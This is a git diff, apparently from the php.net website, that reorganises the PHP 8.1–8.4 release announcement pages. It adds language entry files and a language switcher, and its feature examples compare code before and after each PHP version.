    ', diff --git a/releases/8.1/languages/es.php b/public/releases/8.1/languages/es.php similarity index 100% rename from releases/8.1/languages/es.php rename to public/releases/8.1/languages/es.php diff --git a/releases/8.1/languages/ja.php b/public/releases/8.1/languages/ja.php similarity index 100% rename from releases/8.1/languages/ja.php rename to public/releases/8.1/languages/ja.php diff --git a/releases/8.1/languages/ka.php b/public/releases/8.1/languages/ka.php similarity index 100% rename from releases/8.1/languages/ka.php rename to public/releases/8.1/languages/ka.php diff --git a/releases/8.1/languages/pt_BR.php b/public/releases/8.1/languages/pt_BR.php similarity index 100% rename from releases/8.1/languages/pt_BR.php rename to public/releases/8.1/languages/pt_BR.php diff --git a/releases/8.1/languages/ru.php b/public/releases/8.1/languages/ru.php similarity index 100% rename from releases/8.1/languages/ru.php rename to public/releases/8.1/languages/ru.php diff --git a/releases/8.1/languages/zh.php b/public/releases/8.1/languages/zh.php similarity index 100% rename from releases/8.1/languages/zh.php rename to public/releases/8.1/languages/zh.php diff --git a/public/releases/8.1/pt_BR.php b/public/releases/8.1/pt_BR.php new file mode 100644 index 0000000000..663ea85100 --- /dev/null +++ b/public/releases/8.1/pt_BR.php @@ -0,0 +1,5 @@ +status = $status; + } + + public function getStatus(): Status + { + return $this->status; + } + } + PHP, + after: <<<'PHP' + class BlogData + { + public readonly Status $status; + + public function __construct(Status $status) + { + $this->status = $status; + } + } + PHP, + ), + new FeatureComparison( + id: 'first_class_callable_syntax', + title: message('first_class_callable_syntax_title', $lang), + description: message('first_class_callable_syntax_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/first_class_callable_syntax', + message('documentation', $lang) . "|/manual/$documentation/functions.first_class_callable_syntax.php", + ], + before: <<<'PHP' + $foo = [$this, 'foo']; + + $fn = Closure::fromCallable('strlen'); + PHP, + after: <<<'PHP' + $foo = $this->foo(...); + + $fn = strlen(...); + PHP, + ), + new FeatureComparison( + id: 'new_in_initializers', + title: message('new_in_initializers_title', $lang), + description: message('new_in_initializers_content', $lang), + links: ['RFC|https://wiki.php.net/rfc/new_in_initializers'], + before: <<<'PHP' + class Service + { + private Logger $logger; + + public function __construct( + ?Logger $logger = null, + ) { + $this->logger = $logger ?? new NullLogger(); + } + } + PHP, + after: <<<'PHP' + class Service + { + private Logger $logger; + + public function __construct( + Logger $logger = new NullLogger(), + ) { + $this->logger = $logger; + } + } + PHP, + before2: <<<'PHP' + class User + { + /** + * @Assert\All({ + * @Assert\NotNull, + * @Assert\Length(min=5) + * }) + */ + public string $name = ''; + } + PHP, + after2: <<<'PHP' + class User + { + #[\Assert\All( + new \Assert\NotNull, + new \Assert\Length(min: 5)) + ] + public string $name = ''; + } + PHP, + ), + new FeatureComparison( + id: 'pure_intersection_types', + title: message('pure_intersection_types_title', $lang), + description: message('pure_intersection_types_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/pure-intersection-types', + message('documentation', $lang) . "|/manual/$documentation/language.types.declarations.php#language.types.declarations.composite.intersection", + ], + before: <<<'PHP' + function count_and_iterate(Iterator $value) { + if (!($value instanceof Countable)) { + throw new TypeError('value must be Countable'); + } + + foreach ($value as $val) { + echo $val; + } + + count($value); + } + PHP, + after: <<<'PHP' + function count_and_iterate(Iterator&Countable $value) { + foreach ($value as $val) { + echo $val; + } + + count($value); + } + PHP, + ), + new FeatureComparison( + id: 'never_return_type', + title: message('never_return_type_title', $lang), + description: message('never_return_type_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/noreturn_type', + message('documentation', $lang) . "|/manual/$documentation/language.types.declarations.php#language.types.declarations.never", + ], + before: <<<'PHP' + function redirect(string $uri) { + header('Location: ' . $uri); + exit(); + } + + function redirectToLoginPage() { + redirect('/login'); + echo 'Hello'; // <- dead code + } + PHP, + after: <<<'PHP' + function redirect(string $uri): never { + header('Location: ' . $uri); + exit(); + } + + function redirectToLoginPage(): never { + redirect('/login'); + echo 'Hello'; // <- dead code detected by static analysis + } + PHP, + ), + new FeatureComparison( + id: 'final_class_constants', + title: message('final_class_constants_title', $lang), + description: message('final_class_constants_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/final_class_const', + message('documentation', $lang) . "|/manual/$documentation/language.oop5.final.php#language.oop5.final.example.php81", + ], + before: <<<'PHP' + class Foo + { + public const XX = "foo"; + } + + class Bar extends Foo + { + public const XX = "bar"; // No error + } + PHP, + after: <<<'PHP' + class Foo + { + final public const XX = "foo"; + } + + class Bar extends Foo + { + public const XX = "bar"; // Fatal error + } + PHP, + ), + new FeatureComparison( + id: 'explicit_octal_numeral_notation', + title: message('octal_numeral_notation_title', $lang), + description: message('octal_numeral_notation_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/explicit_octal_notation', + message('documentation', $lang) . "|/manual/$documentation/migration81.new-features.php#migration81.new-features.core.octal-literal-prefix", + ], + before: <<<'PHP' + 016 === 16; // false because `016` is octal for `14` and it's confusing + 016 === 14; // true + PHP, + after: <<<'PHP' + 0o16 === 16; // false — not confusing with explicit notation + 0o16 === 14; // true + PHP, + ), + new FeatureComparison( + id: 'fibers', + title: message('fibers_title', $lang), + description: message('fibers_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/fibers', + message('documentation', $lang) . "|/manual/$documentation/language.fibers.php", + ], + before: <<<'PHP' + $httpClient->request('https://example.com/') + ->then(function (Response $response) { + return $response->getBody()->buffer(); + }) + ->then(function (string $responseBody) { + print json_decode($responseBody)['code']; + }); + PHP, + after: <<<'PHP' + $response = $httpClient->request('https://example.com/'); + print json_decode($response->getBody()->buffer())['code']; + PHP, + ), + new FeatureComparison( + id: 'array_unpacking_support_for_string_keyed_arrays', + title: message('array_unpacking_title', $lang), + description: message('array_unpacking_content', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/array_unpacking_string_keys', + message('documentation', $lang) . "|/manual/$documentation/language.types.array.php#language.types.array.unpacking", + ], + before: <<<'PHP' + $arrayA = ['a' => 1]; + $arrayB = ['b' => 2]; + + $result = array_merge(['a' => 0], $arrayA, $arrayB); + + // ['a' => 1, 'b' => 2] + PHP, + after: <<<'PHP' + $arrayA = ['a' => 1]; + $arrayB = ['b' => 2]; + + $result = ['a' => 0, ...$arrayA, ...$arrayB]; + + // ['a' => 1, 'b' => 2] + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: << + SVG, + upgradeNow: message('upgrade_now', $lang), +); + +echo ReleasePage::getFeatureComparisons($comparisons, 'PHP 8.1', 'PHP < 8.1'); + +?> + +
    +
    +
    +
    +

    +
    + +
    + +
    +
    +

    +
      +
    • +
    • +
    + +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    + +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +
    +
    + + false]); diff --git a/public/releases/8.1/ru.php b/public/releases/8.1/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.1/ru.php @@ -0,0 +1,5 @@ + 'English', @@ -12,21 +12,28 @@ 'de' => 'Deutsch', 'fr' => 'Français', 'pt_BR' => 'Brazilian Portuguese', - 'ru' => 'Russian', + 'ru' => 'Русский', 'ja' => '日本語', 'zh' => '简体中文', ]; function common_header(string $description): void { - global $MYSITE; + global $MYSITE, $lang; - $meta_image_path = \htmlspecialchars( - \filter_var($MYSITE . 'images/php8/php_8_2_released.png', \FILTER_VALIDATE_URL)); + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_2_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); $meta_description = \htmlspecialchars($description); - \site_header("PHP 8.2.0 Release Announcement", [ - 'current' => 'php8', - 'css' => ['php8.css'], + $languages = []; + foreach (LANGUAGES as $code => $text) { + $languages[] = ['name' => $text, 'selected' => $lang === $code, 'url' => '/releases/8.2/' . $code . '.php']; + } + + \site_header("PHP 8.2 Release Announcement", [ + 'current' => 'php85', + 'css' => ['php85.css'], + 'language_switcher' => $languages, + 'theme_switcher' => true, 'meta_tags' => << @@ -45,28 +52,7 @@ function common_header(string $description): void { ]); } -function language_chooser(string $currentLang): void { - // Print out the form with all the options - echo ' -
    -
    - - -
    -
    -'; -} - -function message($code, $language = 'en') +function message(string $code, string $language = 'en'): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.2/de.php b/public/releases/8.2/de.php new file mode 100644 index 0000000000..4601e2184d --- /dev/null +++ b/public/releases/8.2/de.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.2/ja.php b/public/releases/8.2/ja.php new file mode 100644 index 0000000000..7792525e5b --- /dev/null +++ b/public/releases/8.2/ja.php @@ -0,0 +1,5 @@ +title = $title; + $this->status = $status; + } + } + PHP, + after: <<<'PHP' + readonly class BlogData + { + public string $title; + + public Status $status; + + public function __construct(string $title, Status $status) + { + $this->title = $title; + $this->status = $status; + } + } + PHP, + ), + new FeatureComparison( + id: 'dnf_types', + title: message('dnf_types_title', $lang), + description: message('dnf_types_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/dnf_types', + message('documentation', $lang) . "|/manual/$lang/migration82.new-features.php#migration82.new-features.core.type-system", + ], + before: <<<'PHP' + class Foo { + public function bar(mixed $entity) { + if ((($entity instanceof A) && ($entity instanceof B)) || ($entity === null)) { + return $entity; + } + + throw new Exception('Invalid entity'); + } + } + PHP, + after: <<<'PHP' + class Foo { + public function bar((A&B)|null $entity) { + return $entity; + } + } + PHP, + ), + new FeatureComparison( + id: 'null_false_true_types', + title: message('null_false_true_types_title', $lang), + description: '', + links: [ + 'RFC|https://wiki.php.net/rfc/null-false-standalone-types', + 'RFC|https://wiki.php.net/rfc/true-type', + ], + before: <<<'PHP' + class Falsy + { + public function almostFalse(): bool { /* ... */ *} + + public function almostTrue(): bool { /* ... */ *} + + public function almostNull(): string|null { /* ... */ *} + } + PHP, + after: <<<'PHP' + class Falsy + { + public function alwaysFalse(): false { /* ... */ *} + + public function alwaysTrue(): true { /* ... */ *} + + public function alwaysNull(): null { /* ... */ *} + } + PHP, + ), + new FeatureComparison( + id: 'random_extension', + title: message('random_title', $lang), + description: message('random_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/rng_extension', + 'RFC|https://wiki.php.net/rfc/random_extension_improvement', + message('documentation', $lang) . "|/manual/$lang/book.random.php", + ], + before: '', + after: <<<'PHP' + use Random\Engine\Xoshiro256StarStar; + use Random\Randomizer; + + $blueprintRng = new Xoshiro256StarStar( + hash('sha256', "Example seed that is converted to a 256 Bit string via SHA-256", true) + ); + + $fibers = []; + for ($i = 0; $i < 8; $i++) { + $fiberRng = clone $blueprintRng; + // Xoshiro256**'s 'jump()' method moves the blueprint ahead 2**128 steps, as if calling + // 'generate()' 2**128 times, giving the Fiber 2**128 unique values without needing to reseed. + $blueprintRng->jump(); + + $fibers[] = new Fiber(function () use ($fiberRng, $i): void { + $randomizer = new Randomizer($fiberRng); + + echo "{$i}: " . $randomizer->getInt(0, 100), PHP_EOL; + }); + } + + // The randomizer will use a CSPRNG by default. + $randomizer = new Randomizer(); + + // Even though the fibers execute in a random order, they will print the same value + // each time, because each has its own unique instance of the RNG. + $fibers = $randomizer->shuffleArray($fibers); + foreach ($fibers as $fiber) { + $fiber->start(); + } + PHP, + ), + new FeatureComparison( + id: 'constants_in_traits', + title: message('constants_in_traits_title', $lang), + description: message('constants_in_traits_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/constants_in_traits', + message('documentation', $lang) . "|/manual/$lang/migration82.new-features.php#migration82.new-features.core.constant-in-traits", + ], + before: '', + after: <<<'PHP' + trait Foo + { + public const CONSTANT = 1; + } + + class Bar + { + use Foo; + } + + var_dump(Bar::CONSTANT); // 1 + var_dump(Foo::CONSTANT); // Error + PHP, + ), + new FeatureComparison( + id: 'deprecate_dynamic_properties', + title: message('deprecate_dynamic_properties_title', $lang), + description: message('deprecate_dynamic_properties_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/deprecate_dynamic_properties', + message('documentation', $lang) . "|/manual/$lang/migration82.deprecated.php#migration82.deprecated.core.dynamic-properties", + ], + before: <<<'PHP' + class User + { + public $name; + } + + $user = new User(); + $user->last_name = 'Doe'; + + $user = new stdClass(); + $user->last_name = 'Doe'; + PHP, + after: <<<'PHP' + class User + { + public $name; + } + + $user = new User(); + $user->last_name = 'Doe'; // Deprecated notice + + $user = new stdClass(); + $user->last_name = 'Doe'; // Still allowed + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: << + SVG, + upgradeNow: message('upgrade_now', $lang), +); + +echo ReleasePage::getFeatureComparisons($comparisons, 'PHP 8.2', 'PHP < 8.2'); + +?> + +
    +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +
    +
    + + false]); diff --git a/public/releases/8.2/ru.php b/public/releases/8.2/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.2/ru.php @@ -0,0 +1,5 @@ + 'English', 'es' => 'Español', 'de' => 'Deutsch', - 'ru' => 'Russian', + 'ru' => 'Русский', 'zh' => '简体中文', 'pt_BR' => 'Brazilian Portuguese', 'ja' => '日本語', @@ -18,15 +18,22 @@ ]; function common_header(string $description): void { - global $MYSITE; + global $MYSITE, $lang; - $meta_image_path = \htmlspecialchars( - \filter_var($MYSITE . 'images/php8/php_8_3_released.png', \FILTER_VALIDATE_URL)); + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_3_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); $meta_description = \htmlspecialchars($description); - \site_header("PHP 8.3.0 Release Announcement", [ - 'current' => 'php8', - 'css' => ['php8.css'], + $languages = []; + foreach (LANGUAGES as $code => $text) { + $languages[] = ['name' => $text, 'selected' => $lang === $code, 'url' => '/releases/8.3/' . $code . '.php']; + } + + \site_header("PHP 8.3 Release Announcement", [ + 'current' => 'php85', + 'css' => ['php85.css'], + 'language_switcher' => $languages, + 'theme_switcher' => true, 'meta_tags' => << @@ -45,28 +52,7 @@ function common_header(string $description): void { ]); } -function language_chooser(string $currentLang): void { - // Print out the form with all the options - echo ' -
    -
    - - -
    -
    -'; -} - -function message($code, $language = 'en') +function message(string $code, string $language = 'en'): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.3/de.php b/public/releases/8.3/de.php new file mode 100644 index 0000000000..4601e2184d --- /dev/null +++ b/public/releases/8.3/de.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.3/ja.php b/public/releases/8.3/ja.php new file mode 100644 index 0000000000..7792525e5b --- /dev/null +++ b/public/releases/8.3/ja.php @@ -0,0 +1,5 @@ +logFile = fopen('/tmp/logfile', 'w'); + } + + protected function taerDown(): void { + fclose($this->logFile); + unlink('/tmp/logfile'); + } + } + + // The log file will never be removed, because the + // method name was mistyped (taerDown vs tearDown). + PHP, + after: <<<'PHP' + use PHPUnit\Framework\TestCase; + + final class MyTest extends TestCase { + protected $logFile; + + protected function setUp(): void { + $this->logFile = fopen('/tmp/logfile', 'w'); + } + + #[\Override] + protected function taerDown(): void { + fclose($this->logFile); + unlink('/tmp/logfile'); + } + } + + // Fatal error: MyTest::taerDown() has #[\Override] attribute, + // but no matching parent method exists + PHP, + ), + new FeatureComparison( + id: 'readonly_classes', + title: message('readonly_title', $lang), + description: message('readonly_description', $lang), + links: ['RFC|https://wiki.php.net/rfc/readonly_amendments'], + before: <<<'PHP' + class PHP { + public string $version = '8.2'; + } + + readonly class Foo { + public function __construct( + public PHP $php + ) {} + + public function __clone(): void { + $this->php = clone $this->php; + } + } + + $instance = new Foo(new PHP()); + $cloned = clone $instance; + + // Fatal error: Cannot modify readonly property Foo::$php + PHP, + after: <<<'PHP' + class PHP { + public string $version = '8.2'; + } + + readonly class Foo { + public function __construct( + public PHP $php + ) {} + + public function __clone(): void { + $this->php = clone $this->php; + } + } + + $instance = new Foo(new PHP()); + $cloned = clone $instance; + + $cloned->php->version = '8.3'; + PHP, + ), + new FeatureComparison( + id: 'json_validate', + title: message('json_validate_title', $lang), + description: message('json_validate_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/json_validate', + message('documentation', $lang) . "|/manual/$lang/function.json-validate.php", + ], + before: <<<'PHP' + function json_validate(string $string): bool { + json_decode($string); + + return json_last_error() === JSON_ERROR_NONE; + } + + var_dump(json_validate('{ "test": { "foo": "bar" } }')); // true + PHP, + after: <<<'PHP' + var_dump(json_validate('{ "test": { "foo": "bar" } }')); // true + PHP, + ), + new FeatureComparison( + id: 'randomizer_get_bytes_from_string', + title: message('randomizer_getbytesfromstring_title', $lang), + description: message('randomizer_getbytesfromstring_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/randomizer_additions#getbytesfromstring', + message('documentation', $lang) . "|/manual/$lang/random-randomizer.getbytesfromstring.php", + ], + before: <<<'PHP' + // This function needs to be manually implemented. + function getBytesFromString(string $string, int $length) { + $stringLength = strlen($string); + + $result = ''; + for ($i = 0; $i < $length; $i++) { + // random_int is not seedable for testing, but secure. + $result .= $string[random_int(0, $stringLength - 1)]; + } + + return $result; + } + + $randomDomain = sprintf( + "%s.example.com", + getBytesFromString( + 'abcdefghijklmnopqrstuvwxyz0123456789', + 16, + ), + ); + + echo $randomDomain; + PHP, + after: <<<'PHP' + // A \Random\Engine may be passed for seeding, + // the default is the secure engine. + $randomizer = new \Random\Randomizer(); + + $randomDomain = sprintf( + "%s.example.com", + $randomizer->getBytesFromString( + 'abcdefghijklmnopqrstuvwxyz0123456789', + 16, + ), + ); + + echo $randomDomain; + PHP, + ), + new FeatureComparison( + id: 'randomizer_get_float', + title: message('randomizer_getfloat_nextfloat_title', $lang), + description: message('randomizer_getfloat_nextfloat_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/randomizer_additions#getfloat', + message('documentation', $lang) . "|/manual/$lang/random-randomizer.getfloat.php", + ], + before: <<<'PHP' + // Returns a random float between $min and $max, both including. + function getFloat(float $min, float $max) { + // This algorithm is biased for specific inputs and may + // return values outside the given range. This is impossible + // to work around in userland. + $offset = random_int(0, PHP_INT_MAX) / PHP_INT_MAX; + + return $offset * ($max - $min) + $min; + } + + $temperature = getFloat(-89.2, 56.7); + + $chanceForTrue = 0.1; + // getFloat(0, 1) might return the upper bound, i.e. 1, + // introducing a small bias. + $myBoolean = getFloat(0, 1) < $chanceForTrue; + PHP, + after: <<<'PHP' + $randomizer = new \Random\Randomizer(); + + $temperature = $randomizer->getFloat( + -89.2, + 56.7, + \Random\IntervalBoundary::ClosedClosed, + ); + + $chanceForTrue = 0.1; + // Randomizer::nextFloat() is equivalent to + // Randomizer::getFloat(0, 1, \Random\IntervalBoundary::ClosedOpen). + // The upper bound, i.e. 1, will not be returned. + $myBoolean = $randomizer->nextFloat() < $chanceForTrue; + PHP, + ), + new FeatureComparison( + id: 'command_line_linter', + title: message('command_line_linter_title', $lang), + description: message('command_line_linter_description', $lang), + links: [ + 'PR|https://github.com/php/php-src/issues/10024', + message('documentation', $lang) . "|/manual/$lang/features.commandline.options.php", + ], + before: <<<'CODE' + php -l foo.php bar.php + No syntax errors detected in foo.php + CODE, + after: <<<'CODE' + php -l foo.php bar.php + No syntax errors detected in foo.php + No syntax errors detected in bar.php + CODE, + highlightCode: false, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: << + SVG, + upgradeNow: message('upgrade_now', $lang), +); + +echo ReleasePage::getFeatureComparisons($comparisons, 'PHP 8.3', 'PHP < 8.3'); + +?> + +
    +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +
    +
    + + false]); diff --git a/public/releases/8.3/ru.php b/public/releases/8.3/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.3/ru.php @@ -0,0 +1,5 @@ + 'English', + 'es' => 'Español', 'fr' => 'Français', - 'ru' => 'Russian', + 'ru' => 'Русский', 'pt_BR' => 'Brazilian Portuguese', 'nl' => 'Nederlands', - 'es' => 'Spanish', 'tr' => 'Türkçe', 'uk' => 'Українська', 'zh' => '简体中文', @@ -20,15 +20,22 @@ ]; function common_header(string $description): void { - global $MYSITE; + global $MYSITE, $lang; - $meta_image_path = \htmlspecialchars( - \filter_var($MYSITE . 'images/php8/php_8_4_released.png', \FILTER_VALIDATE_URL)); + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_4_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); $meta_description = \htmlspecialchars($description); + $languages = []; + foreach (LANGUAGES as $code => $text) { + $languages[] = ['name' => $text, 'selected' => $lang === $code, 'url' => '/releases/8.4/' . $code . '.php']; + } + \site_header("PHP 8.4 Release Announcement", [ - 'current' => 'php8', - 'css' => ['php8.css'], + 'current' => 'php85', + 'css' => ['php85.css'], + 'language_switcher' => $languages, + 'theme_switcher' => true, 'meta_tags' => << @@ -47,28 +54,7 @@ function common_header(string $description): void { ]); } -function language_chooser(string $currentLang): void { - // Print out the form with all the options - echo ' -
    -
    - - -
    -
    -'; -} - -function message($code, $language = 'en') +function message(string $code, string $language = 'en'): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.4/en.php b/public/releases/8.4/en.php new file mode 100644 index 0000000000..569ea7b5d0 --- /dev/null +++ b/public/releases/8.4/en.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.4/ja.php b/public/releases/8.4/ja.php new file mode 100644 index 0000000000..7792525e5b --- /dev/null +++ b/public/releases/8.4/ja.php @@ -0,0 +1,5 @@ + 'stream_bucket_make_writeable() and stream_bucket_new() now return an instance of StreamBucket instead of stdClass.', 'bc_core' => 'exit() behavioral change.', 'bc_warnings' => 'E_STRICT constant has been deprecated.', + 'bc_trigger_error' => 'Passing E_USER_ERROR to trigger_error() is now deprecated.', 'footer_title' => 'Better performance, better syntax, improved type safety.', 'footer_description' => '

    For source downloads of PHP 8.4 please visit the downloads page. Windows binaries can be found on the PHP for Windows site. The list of changes is recorded in the ChangeLog.

    diff --git a/releases/8.4/languages/es.php b/public/releases/8.4/languages/es.php similarity index 100% rename from releases/8.4/languages/es.php rename to public/releases/8.4/languages/es.php diff --git a/releases/8.4/languages/fr.php b/public/releases/8.4/languages/fr.php similarity index 100% rename from releases/8.4/languages/fr.php rename to public/releases/8.4/languages/fr.php diff --git a/releases/8.4/languages/ja.php b/public/releases/8.4/languages/ja.php similarity index 100% rename from releases/8.4/languages/ja.php rename to public/releases/8.4/languages/ja.php diff --git a/releases/8.4/languages/nl.php b/public/releases/8.4/languages/nl.php similarity index 100% rename from releases/8.4/languages/nl.php rename to public/releases/8.4/languages/nl.php diff --git a/releases/8.4/languages/pt_BR.php b/public/releases/8.4/languages/pt_BR.php similarity index 100% rename from releases/8.4/languages/pt_BR.php rename to public/releases/8.4/languages/pt_BR.php diff --git a/releases/8.4/languages/ru.php b/public/releases/8.4/languages/ru.php similarity index 100% rename from releases/8.4/languages/ru.php rename to public/releases/8.4/languages/ru.php diff --git a/releases/8.4/languages/tr.php b/public/releases/8.4/languages/tr.php similarity index 100% rename from releases/8.4/languages/tr.php rename to public/releases/8.4/languages/tr.php diff --git a/releases/8.4/languages/uk.php b/public/releases/8.4/languages/uk.php similarity index 100% rename from releases/8.4/languages/uk.php rename to public/releases/8.4/languages/uk.php diff --git a/releases/8.4/languages/zh.php b/public/releases/8.4/languages/zh.php similarity index 100% rename from releases/8.4/languages/zh.php rename to public/releases/8.4/languages/zh.php diff --git a/releases/8.4/nl.php b/public/releases/8.4/nl.php similarity index 53% rename from releases/8.4/nl.php rename to public/releases/8.4/nl.php index 1a972eecb8..bad08164a6 100644 --- a/releases/8.4/nl.php +++ b/public/releases/8.4/nl.php @@ -3,4 +3,4 @@ $lang = 'nl'; $documentation = 'en'; -include_once __DIR__ . '/release.inc'; +require_once __DIR__ . '/release.inc'; diff --git a/public/releases/8.4/pt_BR.php b/public/releases/8.4/pt_BR.php new file mode 100644 index 0000000000..663ea85100 --- /dev/null +++ b/public/releases/8.4/pt_BR.php @@ -0,0 +1,5 @@ +setLanguageCode($languageCode); + $this->setCountryCode($countryCode); + } + + public function getLanguageCode(): string + { + return $this->languageCode; + } + + public function setLanguageCode(string $languageCode): void + { + $this->languageCode = $languageCode; + } + + public function getCountryCode(): string + { + return $this->countryCode; + } + + public function setCountryCode(string $countryCode): void + { + $this->countryCode = strtoupper($countryCode); + } + + public function setCombinedCode(string $combinedCode): void + { + [$languageCode, $countryCode] = explode('_', $combinedCode, 2); + + $this->setLanguageCode($languageCode); + $this->setCountryCode($countryCode); + } + + public function getCombinedCode(): string + { + return \sprintf("%s_%s", $this->languageCode, $this->countryCode); + } + } + + $brazilianPortuguese = new Locale('pt', 'br'); + var_dump($brazilianPortuguese->getCountryCode()); // BR + var_dump($brazilianPortuguese->getCombinedCode()); // pt_BR + PHP, + after: <<<'PHP' + class Locale + { + public string $languageCode; + + public string $countryCode + { + set (string $countryCode) { + $this->countryCode = strtoupper($countryCode); + } + } + + public string $combinedCode + { + get => \sprintf("%s_%s", $this->languageCode, $this->countryCode); + set (string $value) { + [$this->languageCode, $this->countryCode] = explode('_', $value, 2); + } + } + + public function __construct(string $languageCode, string $countryCode) + { + $this->languageCode = $languageCode; + $this->countryCode = $countryCode; + } + } + + $brazilianPortuguese = new Locale('pt', 'br'); + var_dump($brazilianPortuguese->countryCode); // BR + var_dump($brazilianPortuguese->combinedCode); // pt_BR + PHP, + ), + new FeatureComparison( + id: 'asymmetric_visibility', + title: message('asymmetric_visibility_title', $lang), + description: message('asymmetric_visibility_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/asymmetric-visibility-v2', + message('documentation', $lang) . "|/manual/$documentation/language.oop5.visibility.php#language.oop5.visibility-members-aviz", + ], + before: <<<'PHP' + class PhpVersion + { + private string $version = '8.3'; + + public function getVersion(): string + { + return $this->version; + } + + public function increment(): void + { + [$major, $minor] = explode('.', $this->version); + $minor++; + $this->version = "{$major}.{$minor}"; + } + } + PHP, + after: <<<'PHP' + class PhpVersion + { + public private(set) string $version = '8.4'; + + public function increment(): void + { + [$major, $minor] = explode('.', $this->version); + $minor++; + $this->version = "{$major}.{$minor}"; + } + } + PHP, + ), + new FeatureComparison( + id: 'deprecated_attribute', + title: message('deprecated_attribute_title', $lang), + description: message('deprecated_attribute_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/deprecated_attribute', + message('documentation', $lang) . "|/manual/$documentation/class.deprecated.php", + ], + before: <<<'PHP' + class PhpVersion + { + /** + * @deprecated 8.3 use PhpVersion::getVersion() instead + */ + public function getPhpVersion(): string + { + return $this->getVersion(); + } + + public function getVersion(): string + { + return '8.3'; + } + } + + $phpVersion = new PhpVersion(); + // No indication that the method is deprecated. + echo $phpVersion->getPhpVersion(); + PHP, + after: <<<'PHP' + class PhpVersion + { + #[\Deprecated( + message: "use PhpVersion::getVersion() instead", + since: "8.4", + )] + public function getPhpVersion(): string + { + return $this->getVersion(); + } + + public function getVersion(): string + { + return '8.4'; + } + } + + $phpVersion = new PhpVersion(); + // Deprecated: Method PhpVersion::getPhpVersion() is deprecated since 8.4, use PhpVersion::getVersion() instead + echo $phpVersion->getPhpVersion(); + PHP, + ), + new FeatureComparison( + id: 'dom_additions_html5', + title: message('dom_additions_html5_title', $lang), + description: message('dom_additions_html5_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/dom_additions_84', + 'RFC|https://wiki.php.net/rfc/domdocument_html5_parser', + message('documentation', $lang) . "|/manual/$documentation/migration84.new-features.php#migration84.new-features.dom", + ], + before: <<<'PHP' + $dom = new DOMDocument(); + $dom->loadHTML( + <<<'HTML' +
    +
    PHP 8.4 is a feature-rich release!
    + +
    + HTML, + LIBXML_NOERROR, + ); + + $xpath = new DOMXPath($dom); + $node = $xpath->query(".//main/article[not(following-sibling::*)]")[0]; + $classes = explode(" ", $node->className); // Simplified + var_dump(in_array("featured", $classes)); // bool(true) + PHP, + after: <<<'PHP' + $dom = Dom\HTMLDocument::createFromString( + <<<'HTML' +
    +
    PHP 8.4 is a feature-rich release!
    + +
